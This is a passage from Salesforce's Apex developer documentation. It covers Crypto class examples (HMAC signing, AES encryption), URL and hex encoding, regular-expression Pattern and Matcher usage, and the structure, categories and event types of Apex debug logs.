System.assertEquals(200, res.getStatusCode());
dom.Document resDoc = res.getBodyDocument();
envelope = resDoc.getRootElement();
String wsa = 'http://schemas.xmlsoap.org/ws/2004/08/addressing';
dom.XmlNode header = envelope.getChildElement('Header', soapNS);
System.assert(header != null);
String messageId
= header.getChildElement('MessageID', wsa).getText();
System.debug(messageId);
System.debug(resDoc.toXmlString());
System.debug(resDoc);
System.debug(header);
System.assertEquals(
'http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous',
header.getChildElement(
'ReplyTo', wsa).getChildElement('Address', wsa).getText());
System.assertEquals(
envelope.getChildElement('Body', soapNS).
getChildElement('echo', serviceNS).
getChildElement('something','http://something.else').
getChildElement(
'whatever', serviceNS).getAttribute('bb',null),
'cc');
System.assertEquals('classifieds',
envelope.getChildElement('Body', soapNS).
getChildElement('echo', serviceNS).
getChildElement('category', serviceNS).getText());
}
}
SEE ALSO:
Document Class
Securing Your Data
You can secure your data by using the methods provided by the Crypto class.
The methods in the Crypto class provide standard algorithms for creating digests, message authentication codes, and signatures, as
well as encrypting and decrypting information. These can be used for securing content in Force.com, or for integrating with external
services such as Google or Amazon WebServices (AWS).
513
Securing Your DataIntegration and Apex Utilities
Example Integrating Amazon WebServices
The following example demonstrates an integration of Amazon WebServices with Salesforce:
public class HMacAuthCallout {
public void testAlexaWSForAmazon() {
// The date format is yyyy-MM-dd'T'HH:mm:ss.SSS'Z'
DateTime d = System.now();
String timestamp = ''+ d.year() + '-' +
d.month() + '-' +
d.day() + '\'T\'' +
d.hour() + ':' +
d.minute() + ':' +
d.second() + '.' +
d.millisecond() + '\'Z\'';
String timeFormat = d.formatGmt(timestamp);
String urlEncodedTimestamp = EncodingUtil.urlEncode(timestamp, 'UTF-8');
String action = 'UrlInfo';
String inputStr = action + timeFormat;
String algorithmName = 'HMacSHA1';
Blob mac = Crypto.generateMac(algorithmName, Blob.valueOf(inputStr),
Blob.valueOf('your_signing_key'));
String macUrl = EncodingUtil.urlEncode(EncodingUtil.base64Encode(mac), 'UTF-8');
String urlToTest = 'amazon.com';
String version = '2005-07-11';
String endpoint = 'http://awis.amazonaws.com/';
String accessKey = 'your_key';
HttpRequest req = new HttpRequest();
req.setEndpoint(endpoint +
'?AWSAccessKeyId=' + accessKey +
'&Action=' + action +
'&ResponseGroup=Rank&Version=' + version +
'&Timestamp=' + urlEncodedTimestamp +
'&Url=' + urlToTest +
'&Signature=' + macUrl);
req.setMethod('GET');
Http http = new Http();
try {
HttpResponse res = http.send(req);
System.debug('STATUS:'+res.getStatus());
System.debug('STATUS_CODE:'+res.getStatusCode());
System.debug('BODY: '+res.getBody());
}catch(System.CalloutException e) {
System.debug('ERROR: '+ e);
}
}
}
514
Securing Your DataIntegration and Apex Utilities
Example Encrypting and Decrypting
The following example uses the encryptWithManagedIV and decryptWithManagedIV methods, as well as the
generateAesKey method of the Crypto class.
// Use generateAesKey to generate the private key
Blob cryptoKey = Crypto.generateAesKey(256);
// Generate the data to be encrypted.
Blob data = Blob.valueOf('Test data to encrypted');
// Encrypt the data and have Salesforce.com generate the initialization vector
Blob encryptedData = Crypto.encryptWithManagedIV('AES256', cryptoKey, data);
// Decrypt the data
Blob decryptedData = Crypto.decryptWithManagedIV('AES256', cryptoKey, encryptedData);
The following is an example of writing a unit test for the encryptWithManagedIV and decryptWithManagedIV Crypto
methods.
@isTest
private class CryptoTest {
static testMethod void testValidDecryption() {
// Use generateAesKey to generate the private key
Blob key = Crypto.generateAesKey(128);
// Generate the data to be encrypted.
Blob data = Blob.valueOf('Test data');
// Generate an encrypted form of the data using base64 encoding
String b64Data = EncodingUtil.base64Encode(data);
// Encrypt and decrypt the data
Blob encryptedData = Crypto.encryptWithManagedIV('AES128', key, data);
Blob decryptedData = Crypto.decryptWithManagedIV('AES128', key, encryptedData);
String b64Decrypted = EncodingUtil.base64Encode(decryptedData);
// Verify that the strings still match
System.assertEquals(b64Data, b64Decrypted);
}
static testMethod void testInvalidDecryption() {
// Verify that you must use the same key size for encrypting data
// Generate two private keys, using different key sizes
Blob keyOne = Crypto.generateAesKey(128);
Blob keyTwo = Crypto.generateAesKey(256);
// Generate the data to be encrypted.
Blob data = Blob.valueOf('Test data');
// Encrypt the data using the first key
Blob encryptedData = Crypto.encryptWithManagedIV('AES128', keyOne, data);
try {
// Try decrypting the data using the second key
Crypto.decryptWithManagedIV('AES256', keyTwo, encryptedData);
System.assert(false);
}catch(SecurityException e) {
System.assertEquals('Given final block not properly padded', e.getMessage());
}
515
Securing Your DataIntegration and Apex Utilities
}
}
SEE ALSO:
Crypto Class
EncodingUtil Class
Encoding Your Data
You can encode and decode URLs and convert strings to hexadecimal format by using the methods provided by the EncodingUtil
class.
This example shows how to URL encode a timestamp value in UTF-8 by calling urlEncode.
DateTime d = System.now();
String timestamp = ''+ d.year() + '-' +
d.month() + '-' +
d.day() + '\'T\'' +
d.hour() + ':' +
d.minute() + ':' +
d.second() + '.' +
d.millisecond() + '\'Z\'';
System.debug(timestamp);
String urlEncodedTimestamp = EncodingUtil.urlEncode(timestamp, 'UTF-8');
System.debug(urlEncodedTimestamp);
This next example shows how to use convertToHex to compute a client response for HTTP Digest Authentication (RFC2617).
@isTest
private class SampleTest {
static testmethod void testConvertToHex() {
String myData = 'A Test String';
Blob hash = Crypto.generateDigest('SHA1',Blob.valueOf(myData));
String hexDigest = EncodingUtil.convertToHex(hash);
System.debug(hexDigest);
}
}
SEE ALSO:
EncodingUtil Class
Using Patterns and Matchers
Apex provides patterns and matchers that enable you to search text using regular expressions.
A pattern is a compiled representation of a regular expression. Patterns are used by matchers to perform match operations on a character
string.
A regular expression is a string that is used to match another string, using a specific syntax. Apex supports the use of regular expressions
through its Pattern and Matcher classes.
516
Encoding Your DataIntegration and Apex Utilities
Note: In Apex, Patterns and Matchers, as well as regular expressions, are based on their counterparts in Java. See
http://java.sun.com/j2se/1.5.0/docs/api/index.html?java/util/regex/Pattern.html.
Many Matcher objects can share the same Pattern object, as shown in the following illustration:
Many Matcher objects can be created from the same Pattern object
Regular expressions in Apex follow the standard syntax for regular expressions used in Java. Any Java-based regular expression strings
can be easily imported into your Apex code.
Note: Salesforce limits the number of times an input sequence for a regular expression can be accessed to 1,000,000 times. If you
reach that limit, you receive a runtime error.
All regular expressions are specified as strings. Most regular expressions are first compiled into a Pattern object: only the String split
method takes a regular expression that isn't compiled.
Generally, after you compile a regular expression into a Pattern object, you only use the Pattern object once to create a Matcher object.
All further actions are then performed using the Matcher object. For example:
// First, instantiate a new Pattern object "MyPattern"
Pattern MyPattern = Pattern.compile('a*b');
// Then instantiate a new Matcher object "MyMatcher"
Matcher MyMatcher = MyPattern.matcher('aaaaab');
// You can use the system static method assert to verify the match
System.assert(MyMatcher.matches());
If you are only going to use a regular expression once, use the Pattern class matches method to compile the expression and
match a string against it in a single invocation. For example, the following is equivalent to the code above:
Boolean Test = Pattern.matches('a*b','aaaaab');
IN THIS SECTION:
Using Regions
Using Match Operations
Using Bounds
517
Using Patterns and MatchersIntegration and Apex Utilities
Understanding Capturing Groups
Pattern and Matcher Example
Using Regions
A Matcher object finds matches in a subset of its input string called a region. The default region for a Matcher object is always the entirety
of the input string. However, you can change the start and end points of a region by using the region method, and you can query
the region's end points by using the regionStart and regionEnd methods.
The region method requires both a start and an end value. The following table provides examples of how to set one value without
setting the other.
Code ExampleEnd of the RegionStart of the Region
MyMatcher.region(start, MyMatcher.regionEnd());
Leave unchangedSpecify explicitly
MyMatcher.region(MyMatcher.regionStart(), end);
Specify explicitlyLeave unchanged
MyMatcher.region(0, end);
Specify explicitlyReset to the default
Using Match Operations
A Matcher object performs match operations on a character sequence by interpreting a Pattern.
A Matcher object is instantiated from a Pattern by the Pattern's matcher method. Once created, a Matcher object can be used to
perform the following types of match operations:
•Match the Matcher object's entire input string against the pattern using the matches method
•Match the Matcher object's input string against the pattern, starting at the beginning but without matching the entire region, using
the lookingAt method
•Scan the Matcher object's input string for the next substring that matches the pattern using the find method
Each of these methods returns a Boolean indicating success or failure.
After you use any of these methods, you can find out more information about the previous match, that is, what was found, by using the
following Matcher class methods:
•end: Once a match is made, this method returns the position in the match string after the last character that was matched.
•start: Once a match is made, this method returns the position in the string of the first character that was matched.
•group: Once a match is made, this method returns the subsequence that was matched.
Using Bounds
By default, a region is delimited by anchoring bounds, which means that the line anchors (such as ^ or $) match at the region boundaries,
even if the region boundaries have been moved from the start and end of the input string. You can specify whether a region uses
anchoring bounds with the useAnchoringBounds method. By default, a region always uses anchoring bounds. If you set
useAnchoringBounds to false, the line anchors match only the true ends of the input string.
518
Using RegionsIntegration and Apex Utilities
By default, all text located outside of a region is not searched, that is, the region has opaque bounds. However, using transparent bounds
it is possible to search the text outside of a region. Transparent bounds are only used when a region no longer contains the entire input
string. You can specify which type of bounds a region has by using the useTransparentBounds method.
Suppose you were searching the following string, and your region was only the word “STRING”:
This is a concatenated STRING of cats and dogs.
If you searched for the word “cat”, you wouldn't receive a match unless you had transparent bounds set.
Understanding Capturing Groups
During a matching operation, each substring of the input string that matches the pattern is saved. These matching substrings are called
capturing groups.
Capturing groups are numbered by counting their opening parentheses from left to right. For example, in the regular expression string
((A)(B(C))), there are four capturing groups:
1. ((A)(B(C)))
2. (A)
3. (B(C))
4. (C)
Group zero always stands for the entire expression.
The captured input associated with a group is always the substring of the group most recently matched, that is, that was returned by
one of the Matcher class match operations.
If a group is evaluated a second time using one of the match operations, its previously captured value, if any, is retained if the second
evaluation fails.
Pattern and Matcher Example
The Matcher class end method returns the position in the match string after the last character that was matched. You would use this
when you are parsing a string and want to do additional work with it after you have found a match, such as find the next match.
In regular expression syntax, ? means match once or not at all, and + means match 1 or more times.
In the following example, the string passed in with the Matcher object matches the pattern since (a(b)?) matches the string 'ab'
- 'a' followed by 'b' once. It then matches the last 'a' - 'a' followed by 'b' not at all.
pattern myPattern = pattern.compile('(a(b)?)+');
matcher myMatcher = myPattern.matcher('aba');
System.assert(myMatcher.matches() && myMatcher.hitEnd());
// We have two groups: group 0 is always the whole pattern, and group 1 contains
// the substring that most recently matched--in this case, 'a'.
// So the following is true:
System.assert(myMatcher.groupCount() == 2 &&
myMatcher.group(0) == 'aba' &&
myMatcher.group(1) == 'a');
// Since group 0 refers to the whole pattern, the following is true:
519
Understanding Capturing GroupsIntegration and Apex Utilities
System.assert(myMatcher.end() == myMatcher.end(0));
// Since the offset after the last character matched is returned by end,
// and since both groups used the last input letter, that offset is 3
// Remember the offset starts its count at 0. So the following is also true:
System.assert(myMatcher.end() == 3 &&
myMatcher.end(0) == 3 &&
myMatcher.end(1) == 3);
In the following example, email addresses are normalized and duplicates are reported if there is a different top-level domain name or
subdomain for similar email addresses. For example, john@fairway.smithco is normalized to john@smithco.
class normalizeEmailAddresses{
public void hasDuplicatesByDomain(Lead[] leads) {
// This pattern reduces the email address to 'john@smithco'
// from 'john@*.smithco.com' or 'john@smithco.*'
Pattern emailPattern = Pattern.compile('(?<=@)((?![\\w]+\\.[\\w]+$)
[\\w]+\\.)|(\\.[\\w]+$)');
// Define a set for emailkey to lead:
Map<String,Lead> leadMap = new Map<String,Lead>();
for(Lead lead:leads) {
// Ignore leads with a null email
if(lead.Email != null) {
// Generate the key using the regular expression
String emailKey = emailPattern.matcher(lead.Email).replaceAll('');
// Look for duplicates in the batch
if(leadMap.containsKey(emailKey))
lead.email.addError('Duplicate found in batch');
else {
// Keep the key in the duplicate key custom field
lead.Duplicate_Key__c = emailKey;
leadMap.put(emailKey, lead);
}
}
}
// Now search the database looking for duplicates
for(Lead[] leadsCheck:[SELECT Id, duplicate_key__c FROM Lead WHERE
duplicate_key__c IN :leadMap.keySet()]) {
for(Lead lead:leadsCheck) {
// If there's a duplicate, add the error.
if(leadMap.containsKey(lead.Duplicate_Key__c))
leadMap.get(lead.Duplicate_Key__c).email.addError('Duplicate found
in salesforce(Id: ' + lead.Id + ')');
}
}
520
Pattern and Matcher ExampleIntegration and Apex Utilities
}
}
SEE ALSO:
Pattern Class
Matcher Class
521
Pattern and Matcher ExampleIntegration and Apex Utilities
FINISHING TOUCHES
CHAPTER 12 Debugging Apex
Apex provides debugging support. You can debug your Apex code using the Developer Console and
debug logs. To aid debugging in your code, Apex supports exception statements and custom exceptions.
Also, Apex sends emails to developers for unhandled exceptions.
In this chapter ...
•Debug Log
•Exceptions in Apex
522
Debug Log
A debug log can record database operations, system processes, and errors that occur when executing a transaction or running unit tests.
Debug logs can contain information about:
•Database changes
•HTTP callouts
•Apex errors
•Resources used by Apex
•Automated workflow processes, such as:
–Workflow rules
–Assignment rules
–Approval processes
–Validation rules
Note: The debug log does not include information from actions triggered by time-based workflows.
You can retain and manage debug logs for specific users, including yourself, and for classes and triggers. Setting class and trigger trace
flags doesn’t cause logs to be generated or saved. Class and trigger trace flags override other logging levels, including logging levels set
by user trace flags, but they don’t cause logging to occur. If logging is enabled when classes or triggers execute, logs are generated at
the time of execution.
To view a debug log, from Setup, enter Debug Logs in the Quick Find box, then select Debug Logs. Then click View next to
the debug log that you want to examine. Click Download to download the log as an XML file.
The following are the limits for debug logs.
•Each debug log must be 2 MB or smaller. Debug logs that are larger than 2 MB are reduced in size by removing older log lines, such
as log lines for earlier System.debug statements. The log lines can be removed from any location, not just the start of the debug
log.
•Each org can retain up to 50 MB of debug logs. Once your org has reached 50 MB of debug logs, the oldest debug logs start being
overwritten.
Inspecting the Debug Log Sections
After you generate a debug log, the type and amount of information listed depends on the filter values you set for the user. However,
the format for a debug log is always the same.
A debug log has the following sections.
Header
The header contains the following information.
•The version of the API used during the transaction.
•The log category and level used to generate the log. For example:
The following is an example of a header.
39.0
APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO;
WORKFLOW,INFO
In this example, the API version is 39.0, and the following debug log categories and levels have been set.
523
Debug LogDebugging Apex
DEBUGApex Code
INFOApex Profiling
INFOCallout
INFODatabase
DEBUGSystem
INFOValidation
INFOVisualforce
INFOWorkflow
Execution Units
An execution unit is equivalent to a transaction. It contains everything that occurred within the transaction. EXECUTION_STARTED
and EXECUTION_FINISHED delimit an execution unit.
Code Units
A code unit is a discrete unit of work within a transaction. For example, a trigger is one unit of code, as is a webService method
or a validation rule.
Note: A class is not a discrete unit of code.
CODE_UNIT_STARTED and CODE_UNIT_FINISHED delimit units of code. Units of work can embed other units of work.
For example:
EXECUTION_STARTED
CODE_UNIT_STARTED|[EXTERNAL]execute_anonymous_apex
CODE_UNIT_STARTED|[EXTERNAL]MyTrigger on Account trigger event BeforeInsert for [new]
CODE_UNIT_FINISHED <-- The trigger ends
CODE_UNIT_FINISHED <-- The executeAnonymous ends
EXECUTION_FINISHED
Units of code include, but are not limited to, the following:
•Triggers
•Workflow invocations and time-based workflow
•Validation rules
•Approval processes
•Apex lead convert
•@future method invocations
•Web service invocations
•executeAnonymous calls
•Visualforce property accesses on Apex controllers
•Visualforce actions on Apex controllers
•Execution of the batch Apex start and finish methods, and each execution of the execute method
•Execution of the Apex System.Schedule execute method
•Incoming email handling
524
Debug LogDebugging Apex
Log Lines
Log lines are included inside units of code and indicate which code or rules are being executed. Log lines can also be messages
written to the debug log. For example:
Log lines are made up of a set of fields, delimited by a pipe (|). The format is:
•timestamp: Consists of the time when the event occurred and a value between parentheses. The time is in the user’s time zone
and in the format HH:mm:ss.SSS. The value in parentheses represents the time elapsed in nanoseconds since the start of
the request. The elapsed time value is excluded from logs reviewed in the Developer Console when you use the Execution Log
view. However, you can see the elapsed time when you use the Raw Log view. To open the Raw Log view, from the Developer
Console’s Logs tab, right-click the name of a log and select Open Raw Log.
•event identifier: Specifies the event that triggered the debug log entry (such as SAVEPOINT_RESET or VALIDATION_RULE).
Also includes any additional information logged with that event, such as the method name or the line and character number
where the code was executed.
More Log Data
In addition, the log contains the following information.
•Cumulative resource usage is logged at the end of many code units. Among these code units are triggers, executeAnonymous,
batch Apex message processing, @future methods, Apex test methods, Apex web service methods, and Apex lead convert.
•Cumulative profiling information is logged once at the end of the transaction and contains information about DML invocations,
expensive queries, and so on. “Expensive” queries use resources heavily.
The following is an example debug log.
37.0 APEX_CODE,FINEST;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;
VALIDATION,INFO;VISUALFORCE,INFO;WORKFLOW,INFO
Execute Anonymous: System.debug('Hello World!');
16:06:58.18 (18043585)|USER_INFO|[EXTERNAL]|005D0000001bYPN|devuser@example.org|
Pacific Standard Time|GMT-08:00
16:06:58.18 (18348659)|EXECUTION_STARTED
16:06:58.18 (18383790)|CODE_UNIT_STARTED|[EXTERNAL]|execute_anonymous_apex
16:06:58.18 (23822880)|HEAP_ALLOCATE|[72]|Bytes:3
16:06:58.18 (24271272)|HEAP_ALLOCATE|[77]|Bytes:152
16:06:58.18 (24691098)|HEAP_ALLOCATE|[342]|Bytes:408
16:06:58.18 (25306695)|HEAP_ALLOCATE|[355]|Bytes:408
16:06:58.18 (25787912)|HEAP_ALLOCATE|[467]|Bytes:48
16:06:58.18 (26415871)|HEAP_ALLOCATE|[139]|Bytes:6
16:06:58.18 (26979574)|HEAP_ALLOCATE|[EXTERNAL]|Bytes:1
16:06:58.18 (27384663)|STATEMENT_EXECUTE|[1]
16:06:58.18 (27414067)|STATEMENT_EXECUTE|[1]
16:06:58.18 (27458836)|HEAP_ALLOCATE|[1]|Bytes:12
16:06:58.18 (27612700)|HEAP_ALLOCATE|[50]|Bytes:5
16:06:58.18 (27768171)|HEAP_ALLOCATE|[56]|Bytes:5
16:06:58.18 (27877126)|HEAP_ALLOCATE|[64]|Bytes:7
525
Debug LogDebugging Apex
16:06:58.18 (49244886)|USER_DEBUG|[1]|DEBUG|Hello World!
16:06:58.49 (49590539)|CUMULATIVE_LIMIT_USAGE
16:06:58.49 (49590539)|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 0 out of 100
Number of query rows: 0 out of 50000
Number of SOSL queries: 0 out of 20
Number of DML statements: 0 out of 150
Number of DML rows: 0 out of 10000
Maximum CPU time: 0 out of 10000
Maximum heap size: 0 out of 6000000
Number of callouts: 0 out of 100
Number of Email Invocations: 0 out of 10
Number of future calls: 0 out of 50
Number of queueable jobs added to the queue: 0 out of 50
Number of Mobile Apex push calls: 0 out of 10
16:06:58.49 (49590539)|CUMULATIVE_LIMIT_USAGE_END
16:06:58.18 (52417923)|CODE_UNIT_FINISHED|execute_anonymous_apex
16:06:58.18 (54114689)|EXECUTION_FINISHED
Setting Debug Log Filters for Apex Classes and Triggers
Debug log filtering provides a mechanism for fine-tuning the log verbosity at the trigger and class level. This is especially helpful when
debugging Apex logic. For example, to evaluate the output of a complex process, you can raise the log verbosity for a given class while
turning off logging for other classes or triggers within a single request.
When you override the debug log levels for a class or trigger, these debug levels also apply to the class methods that your class or trigger
calls and the triggers that get executed as a result. All class methods and triggers in the execution path inherit the debug log settings
from their caller, unless they have these settings overridden.
The following diagram illustrates overriding debug log levels at the class and trigger level. For this scenario, suppose Class1 is causing
some issues that you would like to take a closer look at. To this end, the debug log levels of Class1 are raised to the finest granularity.
Class3 doesn't override these log levels, and therefore inherits the granular log filters of Class1. However, UtilityClass has
already been tested and is known to work properly, so it has its log filters turned off. Similarly, Class2 isn't in the code path that causes
a problem, therefore it has its logging minimized to log only errors for the Apex Code category. Trigger2 inherits these log settings
from Class2.
Fine-tuning debug logging for classes and triggers
526
Debug LogDebugging Apex
The following is a pseudo-code example that the diagram is based on.
1. Trigger1 calls a method of Class1 and another method of Class2. For example:
trigger Trigger1 on Account (before insert) {
Class1.someMethod();
Class2.anotherMethod();
}
2. Class1 calls a method of Class3, which in turn calls a method of a utility class. For example:
public class Class1 {
public static void someMethod() {
Class3.thirdMethod();
}
}
public class Class3 {
public static void thirdMethod() {
UtilityClass.doSomething();
}
}
3. Class2 causes a trigger, Trigger2, to be executed. For example:
public class Class2 {
public static void anotherMethod() {
// Some code that causes Trigger2 to be fired.
}
}
IN THIS SECTION:
1. Working with Logs in the Developer Console
2. Debugging Apex API Calls
3. Debug Log Order of Precedence
Which events are logged depends on various factors. These factors include your trace flags, the default logging levels, your API
header, user-based system log enablement, and the log levels set by your entry points.
SEE ALSO:
Salesforce Help: Set Up Debug Logging
Salesforce Help: View Debug Logs
Working with Logs in the Developer Console
Use the Logs tab in the Developer Console to open debug logs.
527
Working with Logs in the Developer ConsoleDebugging Apex
Logs open in Log Inspector. Log Inspector is a context-sensitive execution viewer that shows the source of an operation, what triggered
the operation, and what occurred afterward. Use this tool to inspect debug logs that include database events, Apex processing, workflow,
and validation logic.
To learn more about working with logs in the Developer Console, see “Log Inspector” in the Salesforce online help.
When using the Developer Console or monitoring a debug log, you can specify the level of information that gets included in the log.
Log category
The type of information logged, such as information from Apex or workflow rules.
Log level
The amount of information logged.
Event type
The combination of log category and log level that specify which events get logged. Each event can log additional information, such
as the line and character number where the event started, fields associated with the event, and duration of the event.
Debug Log Categories
Each debug level includes a debug log level for each of the following log categories. The amount of information logged for each category
depends on the log level.
DescriptionLog Category
Includes information about database activity, including every data manipulation language
(DML) statement or inline SOQL or SOSL query.
Database
Includes information for workflow rules, flows, and processes, such as the rule name and the
actions taken.
Workflow
Includes information about validation rules, such as the name of the rule and whether the
rule evaluated true or false.
Validation
Includes the request-response XML that the server is sending and receiving from an external
web service. Useful when debugging issues related to using Force.com web service API calls
or troubleshooting user access to external objects via an OData adapter for Salesforce Connect.
Callout
Includes information about Apex code. Can include information such as log messages
generated by DML statements, inline SOQL or SOSL queries, the start and completion of any
triggers, and the start and completion of any test method.
Apex Code
Includes cumulative profiling information, such as the limits for your namespace and the
number of emails sent.
Apex Profiling
Includes information about Visualforce events, including serialization and deserialization of
the view state or the evaluation of a formula field in a Visualforce page.
Visualforce
Includes information about calls to all system methods such as the System.debug
method.
System
528
Working with Logs in the Developer ConsoleDebugging Apex
Debug Log Levels
Each debug level includes one of the following log levels for each log category. The levels are listed from lowest to highest. Specific
events are logged based on the combination of category and levels. Most events start being logged at the INFO level. The level is
cumulative, that is, if you select FINE, the log also includes all events logged at the DEBUG, INFO, WARN, and ERROR levels.
Note: Not all levels are available for all categories. Only the levels that correspond to one or more events are available.
•NONE
•ERROR
•WARN
•INFO
•DEBUG
•FINE
•FINER
•FINEST
Important: Before running a deployment, verify that the Apex Code log level is not set to FINEST. Otherwise, the deployment is
likely to take longer than expected. If the Developer Console is open, the log levels in the Developer Console affect all logs, including
logs created during a deployment.
Debug Event Types
The following is an example of what is written to the debug log. The event is USER_DEBUG. The format is timestamp | event
identifier:
•timestamp: Consists of the time when the event occurred and a value between parentheses. The time is in the user’s time zone and
in the format HH:mm:ss.SSS. The value in parentheses represents the time elapsed in nanoseconds since the start of the request.
The elapsed time value is excluded from logs reviewed in the Developer Console when you use the Execution Log view. However,
you can see the elapsed time when you use the Raw Log view. To open the Raw Log view, from the Developer Console’s Logs tab,
right-click the name of a log and select Open Raw Log.
•event identifier: Specifies the event that triggered the debug log entry (such as SAVEPOINT_RESET or VALIDATION_RULE).
Also includes any additional information logged with that event, such as the method name or the line and character number where
the code was executed.
The following is an example of a debug log line.
Debug Log Line Example
In this example, the event identifier is made up of the following:
529
Working with Logs in the Developer ConsoleDebugging Apex
•Event name:
USER_DEBUG
•Line number of the event in the code:
[2]
•Logging level the System.Debug method was set to:
DEBUG
•User-supplied string for the System.Debug method:
Hello world!
This code snippet triggers the following example of a log line.
Debug Log Line Code Snippet
The following log line is recorded when the test reaches line 5 in the code.
15:51:01.071 (55856000)|DML_BEGIN|[5]|Op:Insert|Type:Invoice_Statement__c|Rows:1
In this example, the event identifier is made up of the following.
•Event name:
DML_BEGIN
•Line number of the event in the code:
[5]
•DML operation type—Insert:
Op:Insert
•Object name:
Type:Invoice_Statement__c
•Number of rows passed into the DML operation:
Rows:1
This table lists the event types that are logged. For each event type, the table shows which fields or other information get logged with
each event, and which combination of log level and category cause an event to be logged.
530
Working with Logs in the Developer ConsoleDebugging Apex
Level
Logged
Category
Logged
Fields or Information Logged with EventEvent Name
FINESTApex CodeNumber of bytes allocatedBULK_HEAP_ALLOCATE
INFO and
above
CalloutLine number and request headersCALLOUT_REQUEST
INFO and
above
CalloutExternal endpoint and methodCALLOUT_REQUEST
(External object access via OData adapter for
Salesforce Connect)
INFO and
above
CalloutLine number and response bodyCALLOUT_RESPONSE
INFO and
above
CalloutStatus and status codeCALLOUT_RESPONSE
(External object access via OData adapter for
Salesforce Connect)
ERROR and
above
Apex CodeNoneCODE_UNIT_FINISHED
ERROR and
above
Apex CodeLine number and code unit name, such as
MyTrigger on Account trigger event
BeforeInsert for [new]
CODE_UNIT_STARTED
FINE and
above
Apex CodeLine number, Apex class ID, and the string
<init>() with the types of parameters, if any,
between the parentheses
CONSTRUCTOR_ENTRY
FINE and
above
Apex CodeLine number and the string <init>() with the
types of parameters, if any, between the parentheses
CONSTRUCTOR_EXIT
INFO and
above
Apex
Profiling
NoneCUMULATIVE_LIMIT_USAGE
INFO and
above
Apex
Profiling
NoneCUMULATIVE_LIMIT_USAGE_END
FINE and
above
Apex
Profiling
NoneCUMULATIVE_PROFILING
FINE and
above
Apex
Profiling
NoneCUMULATIVE_PROFILING_BEGIN
FINE and
above
Apex
Profiling
NoneCUMULATIVE_PROFILING_END
INFO and
above
DBLine number, operation (such as Insert or
Update), record name or type, and number of rows
passed into DML operation
DML_BEGIN
INFO and
above
DBLine numberDML_END
531
Working with Logs in the Developer ConsoleDebugging Apex
Level
Logged
Category
Logged
Fields or Information Logged with EventEvent Name
INFO and
above
Apex CodeLine numberEMAIL_QUEUE
INFO and
above
Apex CodePackage namespaceENTERING_MANAGED_PKG
INFO and
above
Apex CodeLine number, exception type, and messageEXCEPTION_THROWN
ERROR and
above
Apex CodeNoneEXECUTION_FINISHED
ERROR and
above
Apex CodeNoneEXECUTION_STARTED
ERROR and
above
Apex CodeException type, message, and stack traceFATAL_ERROR
FINER and
above
WorkflowInterview ID, element name, action type, action enum
or ID, whether the action call succeeded, and error
message
FLOW_ACTIONCALL_DETAIL
FINER and
above
WorkflowInterview ID, reference, operator, and valueFLOW_ASSIGNMENT_DETAIL
FINE and
above
WorkflowInterview ID and element typeFLOW_BULK_ELEMENT_BEGIN
FINER and
above
WorkflowInterview ID, element type, element name, number
of records, and execution time
FLOW_BULK_ELEMENT_DETAIL
FINE and
above
WorkflowInterview ID, element type, element name, and
number of records
FLOW_BULK_ELEMENT_END
INFO and
above
WorkflowOrganization ID, definition ID, and version IDFLOW_CREATE_INTERVIEW_BEGIN
INFO and
above
WorkflowInterview ID and flow nameFLOW_CREATE_INTERVIEW_END
ERROR and
above
WorkflowMessage, organization ID, definition ID, and version
ID
FLOW_CREATE_INTERVIEW_ERROR
FINE and
above
WorkflowInterview ID, element type, and element nameFLOW_ELEMENT_BEGIN
FINE and
above
WorkflowElement type and element nameFLOW_ELEMENT_DEFERRED
FINE and
above
WorkflowInterview ID, element type, and element nameFLOW_ELEMENT_END
ERROR and
above
WorkflowMessage, element type, and element name (flow
runtime exception)
FLOW_ELEMENT_ERROR
532
Working with Logs in the Developer ConsoleDebugging Apex
Level
Logged
Category
Logged
Fields or Information Logged with EventEvent Name
ERROR and
above
WorkflowMessage, element type, and element name (spark not
found)
FLOW_ELEMENT_ERROR
ERROR and
above
WorkflowMessage, element type, and element name (designer
exception)
FLOW_ELEMENT_ERROR
ERROR and
above
WorkflowMessage, element type, and element name (designer
limit exceeded)
FLOW_ELEMENT_ERROR
ERROR and
above
WorkflowMessage, element type, and element name (designer
runtime exception)
FLOW_ELEMENT_ERROR
WARNING
and above
WorkflowMessage, element type, and element name (fault path
taken)
FLOW_ELEMENT_FAULT
INFO and
above
WorkflowInterview ID, flow name, and why the user pausedFLOW_INTERVIEW_PAUSED
INFO and
above
WorkflowInterview ID and flow nameFLOW_INTERVIEW_RESUMED
FINER and
above
WorkflowInterview ID, index, and value
The index is the position in the collection variable for
the item that the loop is operating on.
FLOW_LOOP_DETAIL
FINER and
above
WorkflowInterview ID, rule name, and resultFLOW_RULE_DETAIL
INFO and
above
WorkflowInterview ID and flow nameFLOW_START_INTERVIEW_BEGIN
INFO and
above
WorkflowInterview ID and flow nameFLOW_START_INTERVIEW_END
INFO and
above
WorkflowRequestsFLOW_START_INTERVIEWS_BEGIN
INFO and
above
WorkflowRequestsFLOW_START_INTERVIEWS_END
ERROR and
above
WorkflowMessage, interview ID, and flow nameFLOW_START_INTERVIEWS_ERROR
FINER and
above
WorkflowInterview ID, name, definition ID, and version IDFLOW_SUBFLOW_DETAIL
FINER and
above
WorkflowInterview ID, key, and valueFLOW_VALUE_ASSIGNMENT
FINER and
above
WorkflowInterview ID, element name, event name, and event
type
FLOW_WAIT_EVENT_RESUMING_DETAIL
533
Working with Logs in the Developer ConsoleDebugging Apex
Level
Logged
Category
Logged
Fields or Information Logged with EventEvent Name
FINER and
above
WorkflowInterview ID, element name, event name, event type,
and whether conditions were met
FLOW_WAIT_EVENT_WAITING_DETAIL
FINER and
above
WorkflowInterview ID, element name, and persisted interview
ID
FLOW_WAIT_RESUMING_DETAIL
FINER and
above
WorkflowInterview ID, element name, number of events that
the element is waiting for, and persisted interview ID
FLOW_WAIT_WAITING_DETAIL
FINER and
above
Apex CodeLine number and number of bytesHEAP_ALLOCATE
FINER and
above
Apex CodeLine number and number of bytes deallocatedHEAP_DEALLOCATE
FINESTDBLine numberIDEAS_QUERY_EXECUTE
FINESTApex
Profiling
Namespace and the following limits:
Number of SOQL queries
LIMIT_USAGE_FOR_NS
Number of query rows
Number of SOSL queries
Number of DML statements
Number of DML rows
Number of code statements
Maximum heap size
Number of callouts
Number of Email Invocations
Number of fields describes
Number of record type describes
